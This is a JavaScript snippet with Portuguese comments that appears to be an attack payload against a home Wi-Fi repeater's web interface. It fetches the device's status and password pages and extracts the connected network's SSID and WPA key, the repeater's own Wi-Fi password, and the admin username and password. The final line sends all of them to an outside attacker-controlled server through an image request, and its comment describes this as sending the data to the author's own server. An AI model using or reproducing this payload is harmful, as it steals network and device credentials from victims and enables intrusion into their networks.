var rawFile = new XMLHttpRequest(); rawFile.open(this.method, this.url, true); rawFile.setRequestHeader("Content-Type", "text/plain;charset=UTF-8"); rawFile.setRequestHeader("Access-Control-Allow-Origin", "*"); rawFile.open("GET", "http://myrepeater.net/index.htm", false); rawFile.send(); var response = rawFile.responseText; var apCliSsid = response.indexOf("0x04df0200") ; var cliSsid = response.slice(apCliSsid,apCliSsid+30).match(/'([^']+)'/)[1]; //seleciona a rede wifi que o repetidor está conectado var apCliWPAPSK = response.indexOf("0x04de0200") ; var cliWPAPSK = response.slice(apCliWPAPSK,apCliWPAPSK+30).match(/'([^']+)'/)[1]; //senha da rede wifi que o repetidor está conectado var ssid = response.indexOf("0x043c0200") ; var bssid = response.slice(ssid,ssid+30).match(/'([^']+)'/)[1]; //ssid da rede wifi do repetidor var pass = response.indexOf("0x049a0200") ; var pass1 = response.slice(pass,pass+30).match(/'([^']+)'/)[1]; //password da rede wifi do repetidor data = "Wifi SSID: " + cliSsid + " Wifi pass: " + cliWPAPSK + " AP SSID: " + bssid + " AP pass: " + pass1 + " " ; rawFile.open("GET", "http://myrepeater.net/pass.htm", false); rawFile.send(); var response2 = rawFile.responseText; var username = response2.indexOf("0x010b0200") ; var user = response2.slice(username,username+30).match(/'([^']+)'/)[1]; //user do repetidor var oldPasswd = response2.indexOf("0x01010200") ; var oldPasswd1 = response2.slice(oldPasswd,oldPasswd+30).match(/'([^']+)'/)[1]; //senha do repetidor data2 = "Repeater username: " + user + " Repeater password: " + oldPasswd1; data3 = data + data2; new Image().src="https://ilrg.000webhostapp.com/infos.php?data="+data3 //envia as informações para um arquivo no meu servidor